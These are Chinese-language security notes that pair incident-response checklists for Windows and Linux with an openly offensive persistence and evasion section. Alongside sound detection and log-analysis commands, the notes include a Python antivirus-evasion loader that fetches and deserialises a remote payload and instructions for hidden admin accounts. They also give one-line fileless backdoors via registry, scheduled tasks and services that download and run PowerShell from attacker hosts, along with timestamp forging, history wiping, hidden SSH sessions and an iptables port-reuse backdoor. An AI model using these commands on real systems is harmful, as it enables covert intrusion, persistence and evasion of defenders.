# emergency response

# 入侵排查

# Windows

1
2
3
4
5
6
7
8
1.生成msf木马
msfvenom -p LHOST LPORT -f

2.监听
use exploit/multi/handler
set payload
set lohost
set lport

msf 中可以在网络链接中找到,但任务管理器找不到

# 端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\18310>netstat -ano | findstr "ESTABLISH"
TCP 10.128.50.84:49893 42.81.179.166:80 ESTABLISHED 25756
TCP 10.128.50.84:49898 42.81.193.250:443 ESTABLISHED 25756
TCP 10.128.50.84:49919 103.212.12.39:3000 ESTABLISHED 2208
TCP 10.128.50.84:57229 119.3.227.186:11113 ESTABLISHED 35024
TCP 10.128.50.84:57357 113.142.50.195:443 ESTABLISHED 32808
TCP 10.128.50.84:57413 119.38.189.36:3504 ESTABLISHED 32808
TCP 10.128.50.84:57462 117.62.242.202:80 ESTABLISHED 25756
TCP 10.128.50.84:57464 120.133.59.142:443 ESTABLISHED 6056
TCP 10.128.50.84:57474 120.133.59.142:443 ESTABLISHED 6484
TCP 10.128.50.84:57483 119.38.189.36:3504 ESTABLISHED 32808
TCP 10.128.50.84:59370 101.89.15.105:443 ESTABLISHED 33384
TCP 10.128.50.84:59493 20.198.162.76:443 ESTABLISHED 11804
TCP 10.128.50.84:59899 150.158.219.208:443 ESTABLISHED 32808
TCP 10.128.50.84:63118 119.38.189.36:3504 ESTABLISHED 32808
TCP 10.128.50.84:63177 20.197.71.89:443 ESTABLISHED 11804

# 进程

1
2
C:\Users\18310>tasklist /svc | findstr 2208
LenovoInternetSoftwareFra 2208 暂缺

软件查杀

PCHunter

分析进程,分析签名,corporation 等

火绒剑
process,autorun

Process Monitor

删除进程

taskkill /F /T /PID 2208

参数列表:

/S    system           指定要连接的远程系统。

/U    [domain\]user    指定应该在哪个用户上下文执行这个命令。

/P    [password]       为提供的用户上下文指定密码。如果忽略,提示
                       输入。

/FI   filter           应用筛选器以选择一组任务。
                       允许使用 "*"。例如,映像名称 eq acme*

/PID  processid        指定要终止的进程的 PID。
                       使用 TaskList 取得 PID。

/IM   imagename        指定要终止的进程的映像名称。通配符 '*'可用来
                       指定所有任务或映像名称。

/T                     终止指定的进程和由它启用的子进程。

/F                     指定强制终止进程。

/?                     显示帮助消息。

找一些小众的 C2 框架,提升过免杀的概率

https://cloud.tencent.com/developer/article/1597767

CS 上线

netstat 中开始没有 cs 的连接,只有当 cs 中发出命令时才会建立连接,并且服务器发完命令立刻中断连接

建立连接时间为 sleep

因为受害者和攻击者通过中间的 teamserver 建立连接

找进程

tasklist 前提是没有注入进程

注入进程后使用工具

免杀通过 rc4 加密,比 aes 更好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
import pickle as json
import ctypes
import urllib.request
import codecs
from Crypto.Cipher import AES

# pick = """
# json.loads(base64.b64decode(AES.new(b'ysIx0oKueJV15dkA4P3WvDjnq9giB62=', AES.MODE_CBC, b'jbMNXRf954m0WUzQ').decrypt(base64.b64decode((b'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'
# )))))
# """

# res = base64.b64decode(AES.new(b'ysIx0oKueJV15dkA4P3WvDjnq9giB62=', AES.MODE_CBC, b'jbMNXRf954m0WUzQ').decrypt(base64.b64decode((b'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'
# ))))
#
# print(res)
#
# class A(object):
# def __reduce__(self):
# return (exec, (pick,))
# ret = json.dumps(A())
# print(ret)
# res = base64.b64encode(ret)
# print(res)
html=urllib.request.urlopen('http://i.miaosu.bid/data/f_41570228.gif').read()[7:]
html = html.strip(b'\r\n')
res = html[:-3][::-1]+html[-3:]
# print(base64.b64decode(res))
json.loads(base64.b64decode(res))

在通过 pyinstaller 无窗口编译成为 exe

# 账户

首选管理员账户登录,不建议创建账户

通过 net use 或者 computer mananger 查看用户

net user haha$ shabi /add //$ 结尾的用户为影子用户

net localgroup adminstrators haha$ /add // 加到管理员组

此时 net user 看不到,但 computer manager 能看到

或者通过注册表注册

先把影子账户和正常账户导出

通过修改账户的 F 键为想要克隆的键

导入注册表

具体自己查吧…

控制面板和 net user 看不到,但注册表还是可以看到的

因此在应急响应时查账户要查三个地方

注册表,控制面板,net user

或者使用 D 盾

或者查看日志 eventvwr.msc

image-20221105174751675

Windows logs -> security

4624 4625

# 启动项,任务计划,服务

工具可以排查服务和启动项

任务计划 task scheduler

注册表启动项

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

组策略 gpedit.msc 中 自启

Windows 设置 -> 脚本

image-20221108124205969

总结:
用户 -> 端口 -> 进程 -> 注册表 -> 启动项 -> 任务计划 -> 服务 -> 组策略

# Linux

# 账户

1.passwd

awk -F: ‘{print $1,3,3,NF}’ | grep -Ev ‘nologin’

排查 uid 和 gid , 和 bash

2.shadow

shadow 中第二列为!代表不能登录

能正常登录的用户在第二列会有加密的密码

1
2
3
4
5
6
7
8
9
10
11
12
1、查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
2、查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
3、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"


4、禁用或删除多余及可疑的帐号
usermod -L user 禁用帐号,帐号无法登录,/etc/shadow 第二栏为 ! 开头
userdel user 删除 user 用户
userdel -r user 将删除 user 用户,并且将 /home 目录下的 user 目录一并删除

sudoers 中的内容:

1
2
3
4
5
6
7
8
9
10
11
12
## Allow root to run any commands anywhere 
root ALL=(ALL) ALL

## Allows members of the 'sys' group to run networking, software,
## service management apps and more.
# %sys ALL = NETWORKING, SOFTWARE, SERVICES, STORAGE, DELEGATING, PROCESSES, LOCATE, DRIVERS

## Allows people in group wheel to run all commands
%wheel ALL=(ALL) ALL

## Same thing without a password
# %wheel ALL=(ALL) NOPASSWD: ALL

因此可能存在 sudo 提权

# 历史命名

可以查看不同用户的历史命令 ~/.bash_history

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1、root 用户的历史命令
histroy
2、打开 /home 各帐号目录下的 .bash_history,查看普通帐号执行的历史命令。
为历史的命令增加登录的 IP 地址、执行命令时间等信息:
1)保存1万条命令
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
2)在/etc/profile的文件尾部添加如下行数配置信息:
######jiagu history xianshi#########
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
######### jiagu history xianshi ##########
3)source /etc/profile 让配置生效
生成效果: 1 2018-07-10 19:45:39 192.168.204.1 root source /etc/profile
3、历史操作命令的清除:history -c
但此命令并不会清除保存在文件中的记录,因此需要手动删除 .bash_profile 文件中的记录。

# 端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
netstat -lntup | more
查看下 pid 所对应的进程文件路径,
运行 ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的 pid 号)
如果要排查对应的pid的执行文件
在/proc/$pid/exe

[root@VM-16-11-centos 6852]# pwd
/proc/6852
[root@VM-16-11-centos 6852]# ls -al
dr-xr-xr-x 9 lighthouse lighthouse 0 Sep 11 14:30 .
dr-xr-xr-x 163 root root 0 Mar 22 2022 ..
dr-xr-xr-x 2 lighthouse lighthouse 0 Nov 8 17:00 attr
lrwxrwxrwx 1 lighthouse lighthouse 0 Nov 8 17:01 cwd -> /www/wwwroot/www.radsm.co/beef_1/beef
-r-------- 1 lighthouse lighthouse 0 Nov 8 17:01 environ
lrwxrwxrwx 1 lighthouse lighthouse 0 Nov 8 17:01 exe -> /home/lighthouse/.rvm/rubies/ruby-3.0.3/bin/ruby

# 进程

ps aux | ps ef

# 启动项

1
/etc/rc.local

# 任务计划

1
2
3
4
5
6
7
8
9
10
11
12
crontab -l   列出某个用户cron服务的详细内容

重点关注以下目录中是否存在恶意脚本
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

# 日志

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
1、定位有多少IP在爆破主机的root帐号:    
grep "Failed password for root" /var/log/secure | awk '{print $11}' | uniq -c | sort -nr | more

定位有哪些IP在爆破:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破用户名字典是什么?
grep "Failed password" /var/log/secure| awk '{print $9}' | sort -nr | uniq -c

2、登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

3、增加一个用户kali日志:
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure

4、删除用户kali日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
# grep "userdel" /var/log/secure

5、su切换用户:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)

sudo授权执行:
sudo -l
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

image-20221108174528702

账户 历史命令 端口 进程 开机启动 任务计划 日志

# webshell 查杀

# 工具

1.D 盾

2. 河马

3. 百度 webdir

4. 在线 webshell 查杀 bugscanner

# 发现 webshell 后门

1. 判断 hash

2.diff

1
2
3
4
5
6
7
8
9
10
11
12
13
diff -c -a -r cms1 cms2
md5sum比较两个文件夹下面文件是否相同

Copy文件夹之后,检测两个文件夹(dir1,dir2)下文件是否相同。logdir 是任何一个存放生成文件的目录
cd dir1
find ./ -type f -exec md5sum {} \; | sort -k 2 > result.txt

cd dir2
find ./ -type f -exec md5sum {} \; | sort -k 2 > result.txt
cd logdir


diff result.txt result.txt

3. 工具

winMerge

beyond compare

# 日志分析

# Windows 日志分析

Windows 系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。

Windows 主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。

系统日志

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由 Windows NT/2000 操作系统预先定义。

默认位置: % SystemRoot%\System32\Winevt\Logs\System.evtx

应用程序日志

包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。

默认位置:% SystemRoot%\System32\Winevt\Logs\Application.evtx

安全日志

记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。

默认位置:% SystemRoot%\System32\Winevt\Logs\Security.evtx

开启审核策略

Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用 ,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。

image-20221109145256851

设置日志属性

image-20221109192149696

# 日志分析

对于 Windows 事件日志分析,不同的 EVENT ID 代表了不同的意义,摘录一些常见的安全事件的说明:

image-20221109144436445

image-20221109153134531

4634,4647 远程登录注销时触发

# 工具分析:

Log Parser

1
2
3
4
5
6
7
8
登录成功的所有事件
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4624"

指定登录时间范围的事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where TimeGenerated>'2018-06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and EventID=4624"

提取登录成功的用户名和IP:
LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\Security.evtx where EventID=4624"

LogParser Lizard

Event Log Explorer

# linux 日志分析

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

image-20221109192416867

比较重要的几个日志:
登录失败记录:/var/log/btmp //lastb

​ 最后一次登录:/var/log/lastlog //lastlog

​ 登录成功记录: /var/log/wtmp //last

​ 登录日志记录:/var/log/secure

​ 目前登录用户信息:/var/run/utmp //w、who、users

​ 历史命令记录:history

​ 仅清理当前用户: history -c

日志分析 find grep egrep awk sed

# web 日志分析

Apache 日志分析技巧:

Web 访问日志记录了 Web 服务器接收处理请求及运行时错误等各种原始信息。通过对 WEB 日志进行的安全分析,不仅可以帮助我们定位攻击者,还可以帮助我们还原攻击路径,找到网站存在的安全漏洞并进行修复。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1、列出当天访问次数最多的IP命令:
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20

2、查看当天有多少个IP访问:
awk '{print $1}' log_file|sort|uniq|wc -l

3、查看某一个页面被访问的次数:
grep "/index.php" log_file | wc -l

4、查看每一个IP访问了多少个页面:
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file

5、将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n

6、查看某一个IP访问了哪些页面:
grep ^111.111.111.111 log_file| awk '{print $1,$7}'

7、去掉搜索引擎统计当天的页面:
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l

8、查看2018年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l

日志分析过程

1、定位攻击源

2、搜索相关日志记录

3、对找到的访问日志进行解读,攻击者大致的访问路径如下:

4. 加固攻击者访问的网站

# mysql 日志分析

设置日志

1
2
3
4
5
6
1、查看log配置信息
show variables like '%general%';
2、开启日志
SET GLOBAL general_log = 'On';
3、指定日志文件路径
#SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';

主要需要注意爆破 root 密码

1
2
3
4
5
6
7
8
9
10
11
#有哪些IP在爆破
grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
27 192.168.204.1

#爆破用户名字典都有哪些
grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
13 mysql
12 root
1 root
1 mysql

如果爆破密码,失败的时候会显示 "Access denied",可靠此进行分析

# 权限维持

# Windows

# 0x01 注册表自启动

通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。

1
2
3
4
5
6
7
8
9
# Run键 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Winlogon\Userinit键
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

类似的还有很多,关键词:注册表启动键值。

不落地的后门通过 cs 的 web 投递生成

使用以下命令可以一键实现无文件注册表后门:不落地

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.174.131/a'))\"" /f

Logon Scripts 后门

注册表路径:HKEY_CURRENT_USER\Environment\

创建字符串键值: UserInitMprLogonScript,键值设置为 bat 的绝对路径: c:\test.bat

userinit 后门

在用户进行登陆时,winlogon 运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。

利用 USERINIT 注册表键实现无文件后门:

1
2
3
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

"Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""

# 0x02 组策略设置脚本启动

运行 gpedit.msc 进入本地组策略,通过 Windows 设置的 “脚本 (启动 / 关机)” 项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。

image-20221109181141835

脚本名写 powershell 绝对路径,脚本参数写 web 投递后门

# 0x03 计划任务

通过 window 系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。

使用以下命令可以一键实现:

1
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.3.48:8080/T5uEhVubWqF\"\"\"))\""

容易遇到的问题:cmd 命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。

合理的日期:某月某月凌晨三点

# 0x04 服务自启动

通过服务设置自启动,结合 powershell 实现无文件后门。

使用以下命令可实现:

1
2
3
4
5
sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.48:8080/T5uEhVubWqF'))\""

sc description KeyName "Just For Test" //设置服务的描述字符串
sc config Name start= auto //设置这个服务为自动启动
net start Name //启动服务

成功创建了一个自启动服务

通过服务自启动上线权限为 system

# 0x05 WMI 后门

在 2015 年的 blackhat 大会上 Matt Graeber 介绍了一种无文件后门就是用的 WMI。这里可以利用一个工具 powersploit,下面用它的 Persistence 模块来示范一个简单的例子。

1
2
3
4
Import-Module .\Persistence\Persistence.psm1
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\web.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

# linux

# 0x00 隐藏文件

Linux 下创建一个隐藏文件: touch .test.txt

# 0x01 隐藏文件时间戳

Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。

比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

touch -r index.php webshell.php

或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。

touch -t 1401021042.30 webshell.php

# 0x03 隐藏权限

在 Linux 中,使用 chattr 命令来防止 root 和其他管理用户误删除和修改重要文件及目录,此权限用 ls -l 是查看不出来的,从而达到隐藏权限的目的。

1
2
3
4
chattr +i evil.php 锁定文件
lsattr evil.php 属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php 删除文件

# 0x04 隐藏历史命令

1
2
[space]set +o history
备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

1
history -d [num]

这种技巧是关键记录删除,或者我们可以暴力点,比如前 150 行是用户的正常操作记录,150 以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前 150 行:

1
sed -i '150,$d' .bash_history

# 0x05 隐藏 ssh

#隐身登录系统,不会被 w、who、last 等指令检测到。

1
ssh -T root@127.0.0.1 /bin/bash -i

这是因为 w 命令显示信息来源于 utmp,last 来源于 wtmp,并不是所有程序登录的时候都会调用 utmp 和 wtmp 日志记录接口,只有交互式会话,才会调用 utmp 和 wtmp 的日志记录接口,比如通过 tty 或者 pts 或者图形界面登录的都会调用 utmp 和 wtmp 日志记录接口,然后我们在使用 w 和 last 命令的时候就会发现登录信息

不记录 ssh 公钥在本地.ssh 目录中

1
2
3
4
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
-T 表示不分配伪终端 (正常的会话,在分配伪终端之后才会调用utmp和wtmp的日志接口)
/usr/bin/bash -i 表示在登录之后 调用bash命令
-i 表示是交互式shell

ssh -lroot 192.168.12.51/usr/bin/bash 其实就相当于登录之后直接调用 bash 这个名,此时系统没有为其分配 tty,不算一个完整交互式会话,只不过 bash 接受输入,然后有输出,让我们误以为是交互式会话,其实不然,你可以将 /usr/bin/bash 替换成 /usr/bin/ls 试一下,就是简单执行以下就退出了

通过 ps -ef 和 lsof -i:22 仍然可以看到

如果已经退出,那么可以到 secure 日志中找

# 0x06 端口复用

第二种方式:利用 IPTables 进行端口复用

1
2
3
4
5
6
7
8
9
10
# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
